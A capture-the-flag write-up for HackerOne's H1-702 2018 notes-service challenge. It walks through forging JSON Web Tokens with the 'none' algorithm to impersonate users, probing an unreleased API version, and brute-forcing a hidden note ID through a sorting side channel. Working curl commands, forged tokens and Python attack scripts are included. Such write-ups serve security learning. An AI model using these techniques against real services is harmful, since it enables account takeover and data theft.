H1-702 Capture The Flag: Secure The Note

H1702 was another amazing CTF organized by HackerOne. It was an amazing competition to participate in, despite the fact that I haven't been able to complete all challenges.

Web Challenge 1: A JSON RPC service

Challenge Description

Notes RPC Capture The Flag.

Welcome to HackerOne's H1-702 2018 Capture The Flag event. Somewhere on this server, a service can be found that allows a user to securely stores notes. In one of the notes, a flag is hidden. The goal is to obtain the flag. Good luck, you might need it.

Analyzing The Challenge Description

So, the description of the challenge led us to, and eventually we see the description quoted above on the page. Reading the CTF challenge description is probably the most important thing to do when you are going to try to solve a challenge. It is (most likely) the only piece of information you get.

Let's break the sentence and analyze it in parts, so we are sure we are not missing anything.

Somewhere on this server, a service can be found that allows a user to securely stores notes.

We need to find a service to communicate with using the JSON RPC protocol, as the title states. It is a service which allows users to “securely” store their notes.

In one of the notes, a flag is hidden. The goal is to obtain the flag. Good luck, you might need it.

Looks like we have to break into a note to obtain a flag. Challenge accepted.

Reconnaisance – The First Attempt

I can only recall the JSON RPC protocol from a finding of Tavis Ormandy. It was a great find, which allowed RCE on the JSON RPC server via DNS rebinding. Check the Google issue here.

So, to start off, I decided to read the JSON RPC spec. I've never really poked around with a JSON RPC service other than knowing what it does, so it would be good to read the spec to uncover some juicy details. So, heading over to the JSON RPC spec, I skim read it and took a look at various examples.

The service might be listening on the same endpoint, but only on POST requests? Let's try it out.

kapytein@box:~$ curl --header "Content-Type: application/json-rpc" -XPOST http://localhost --data '{"jsonrpc": "2.0", "method": "lalalala", "id": "1"}' -v

Looks like it does not return anything interesting, but just the page we retrieve on a GET request as well. Too bad!

Reconnaisance 2 – Content discovery

After a quick port scan, I decided to run dirsearch on the root path. dirsearch uncovered a README.html.

The page contains the documentation of the JSON RPC service. I decided to poke around with the API calls, trying different parameters, trying query array strings and so on. The documentation provided a JWT token we could use to authenticate the requests.

Discovering the Versioning

While reading through the documentation, I noticed the following:


The service is being optimized continuously. A version number can be provided in the Accept header of the request. At this time, only application/notes.api.v1+json is supported. 

So, looks like the service is only supporting version 1.. according to the documentation at least. We often see in real-world scenarios that developers often ship the next version of their API on production by mistake. This would often lead to severe security issues, as new versions of an API might not have been reviewed properly. So, let's change the version number in the Accept header, as that's how we define the version of the Notes RPC according to the documentation.

–> kapytein@box:~$ curl -H "Accept: application/notes.api.v2+json" -H "Authorization: JWT of the documentation" -v

<– {"count":0,"epochs":[]}

Nice. Looks like the service works on v2 as well. To confirm that the server really confirms given version number by the client, I attempted to send a random version. This returned a plain 406 however. Interesting, but what's the difference between both versions? From here, I decided to take a sleep as it was already 3AM.

JSON Web Token: The Next Night

After fuzzing around, staring at the screen and trying different request methods on the RPC calls, it did not really work out. Then, I felt like there was one thing I did not really look at: the authorization. Authorization to the Notes RPC service are done through JSON web tokens. A standard which is widely used.

There are a few things which could go wrong with JSON web tokens. Auth0 discovered multiple vulnerabilities in JSON Web Token libraries. A JSON Web Token consists of a header, payload and signature. The header consists of base64 encoded JSON formatted data, which consists of an alg and type value.

The alg value is probably the most interesting thing here. It states which encryption algorithm is used to sign the signature of the token. When creating requests with the RPC service, the token is verified using the encryption algorithm. What happens if we pass none as value in alg? If we're luckily, the service will treat the token valid.

none is a standard of JWT. As Auth0 states, it is used in situations where the integrity of the token is already confirmed. However, it should not verify tokens using none as a token with a verified signature.

So, let's try it out! We pick the JWT from the documentation, base64 decode it, and change the values.

–> kapytein@box:~$ echo eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9eyJpZCI6Mn0 | base64 --decode <– {"typ":"JWT","alg":"HS256"}{"id":2}

We have removed the signature from the token, as it is not a valid base64 encoded string. We could note that the value of alg is currently HS256, thus it seems that the token is signed with HMAC-SHA256. Let's try to change the value to none.

kapytein@box:~$ echo '{"typ": "JWT", "alg": "none"}' | base64 
kapytein@box:~$ echo '{"id": 2}' | base64

We leave the signature empty but still include the additional dot before the signature to make sure we are not sending an invalid token. Let's see if it is still working out.

–> kapytein@box:~$ curl -H "Accept: application/notes.api.v2+json" -H "Authorization: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0K.eyJpZCI6IDJ9Cg==." -v

<– {"count":0,"epochs":[]}

Awesome, it still works! This means we are basically able to act as any other user by changing the user ID in the JSON Web Token. Great, progress! We need to enumerate the users using the vulnerability. I created a quick Python script which enumerates all users, and exists when a user, other than 2 (since that's our own user ID), is found.

import requests
import sys
import base64

for number in range(1,3000):
    payload = '{"id": ' + str(number) + '}' 
    string = base64.b64encode(payload.encode("UTF-8"))
    headers = {'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.' + string.decode("utf-8") + '.', 'Accept': 'application/notes.api.v2+json'}
    r = requests.get('', headers=headers)
    if r.status_code != 401 and number != 2:

Oh, looks like I did not have to enumerate 3000 users. The script exited at user 1. Awesome. Let's fuzz around with the methods on this user, and if we don't discover anything interesting, we'll run the script again.

Almost there.. almost.

So, when fuzzing around with the methods, I discovered an odd thing when calling method resetNotes. I noticed that one note did not get removed.

kapytein@box:~$ curl -H "Accept: application/notes.api.v2+json" -H "Authorization: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0K.eyJpZCI6IDF9." -v -XPOST

kapytein@box:~$ curl -H "Accept: application/notes.api.v2+json" -H "Authorization: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0K.eyJpZCI6IDF9." -v


Obviously.. that should be the flag! Let's convert the epoch to a readable date.

kapytein@box:~$ date -d @1528911533
Wed Jun 13 19:38:53 CEST 2018

That makes sense, since the CTF started on 20th of June. By confirming the date, I could validate that this is the note we are looking for, as described in the challenge description on /index.html. The real challenge starts now. How could we read the content of the note? It requires a unique ID which was issued when the note was created. I almost wanted to call it a day, until I read the source code of README.html.

The Deadly Feature

        Version 2 is in the making and being tested right now, it includes an optimized file format that
        sorts the notes based on their unique key before saving them. This allows them to be queried faster.
        Please do NOT use this in production yet!

Now it makes sense why version 2 exists!

sorts the notes based on their unique key before saving them.

This will basically break the entire service. Given the fact that we can create an unlimited amount of notes (even if it was limited, we could easily call resetMethods) and that the key is validated with a regular expression /\A[a-zA-Z0-9]+\z/ (meaning we can add lowercase, uppercase & 0-9 characters only), we can easily guess the unique ID of the flag by observing the epochs after we create a note. We should test the 'boundaries' of the notes.

If, for example, the epoch of a note with unique ID A comes before epoch 1528911533 (the epoch of the note where the flag is), and a note with unique ID B comes after epoch 1528911533, the note starts with A. Following this, we can easily create a script which will do the work for us.

The sorting order

The sorting order is obvious. When we take a look at the ASCII table, we notice that the table starts in the following order: numbers, uppercase letters, lowercase letters (excluding the characters which are not allowed for the title attribute).

After manually fuzzing around with the createNotes method (to confirm my observations), I discovered that the title started with the character E. I then decided to make a quick Python script, as that would save me a lot of time over manual fuzzing.

import requests
import sys
import base64
from string import ascii_lowercase
from string import ascii_uppercase
import json

last_thing = sys.argv[1]

def addnote(json):
    headers = {'Content-Type': 'application/json', 'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6IDEsICJhZG1pbiI6IDF9.', 'Accept': 'application/notes.api.v2+json'}
    r_delete = requests.post('', headers=headers)
    r = requests.post('', headers=headers, json=json)
    return r.status_code

def getepochs():
    headers = {'Authorization': 'eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJpZCI6IDEsICJhZG1pbiI6IDF9.', 'Accept': 'application/notes.api.v2+json'}
    r = requests.get('', headers=headers)
    json_data = json.loads(r.text)
    return json_data["epochs"]

for i in range(0, 10):
     addnote({"note": "lol", "id": last_thing + str(i)})
     asd = getepochs()
     if asd[-1] != "1528911533":
         print("Yay! Looks like it is the character before " + str(i))

for i in ascii_uppercase:
     addnote({"note": "lol", "id": last_thing + i})
     asd = getepochs()
     if asd[-1] != "1528911533":
         print("Yay! Looks like it is the character before " + i)

for i in ascii_lowercase:
     addnote({"note": "lol", "id": last_thing + i})
     asd = getepochs()
     if asd[-1] != "1528911533":
         print("Yay! Looks like it is the character before " + i)


After ~1.5 minutes, I discovered the unique ID! The script exited when it as attempting to add a note with the following ID:

{"note":"already exists"}
Yay! Looks like it is the character before f

Amazing! Looks like the unique ID of the flag is EelHIXsuAw4FXCa9epee. Let's see what is inside!

kapytein@box:~$ curl -H "Accept: application/notes.api.v2+json" -H "Authorization: eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJub25lIn0K.eyJpZCI6IDF9." -v

	"epoch": "1528911533"

Looks like we have a base64 encoded string.

kapytein@box:~$ echo NzAyLUNURi1GTEFHOiBOUDI2bkRPSTZINUFTZW1BT1c2Zw== | base64 --decode

And there we go, we got the flag!